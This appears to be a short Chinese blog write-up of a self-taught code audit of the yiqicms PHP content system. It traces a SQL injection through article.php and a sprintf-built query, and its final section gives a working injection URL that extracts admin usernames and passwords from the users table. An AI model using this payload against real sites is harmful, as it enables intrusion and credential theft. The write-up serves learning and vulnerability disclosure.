0x00 前言:
最近放暑假了,在家里感觉挺闲的,不知道干啥比较好。后来想了下觉得自己得利用这个时间好好提升下自己的代码审计技术了。所以这里就找了yiqicms来练练手。
0x01 Go 本地搭建测试:
首先随便点击一下公司介绍可以看到有个name参数
打开article.php
页面可以看到$name
被传入到GetArticleByName
函数,而且由于没有adminid,第二个参数为false!
article.php
在第3行包含了include/article.class.php
而GetArticleByName
函数可以里面找到
由于第二个参数为false所以会走到下面的sql语句,也就是说用到了sprintf
关于sprintf函数刚好我前段时间做过一题CTF注入就是这个函数漏洞
我们在这个sql语句的上下分别打印出$name
,$sql
。
使用%1$'然后带入sprintf后的sql语句可以看到转义符已经没了。
0x02 poc:
构造出来的poc,直接查询账号密码(因为.被过滤不能查信息数据库(暂时还没bypass))
/article.php?name=%1$%27union+select+1,2,3,4,5,6,7,%1$%27about%1$%27,9,(select+username+from+yiqi_users),11,%1$%27article.tpl%1$%27,(select+password+from+yiqi_users),14,15%23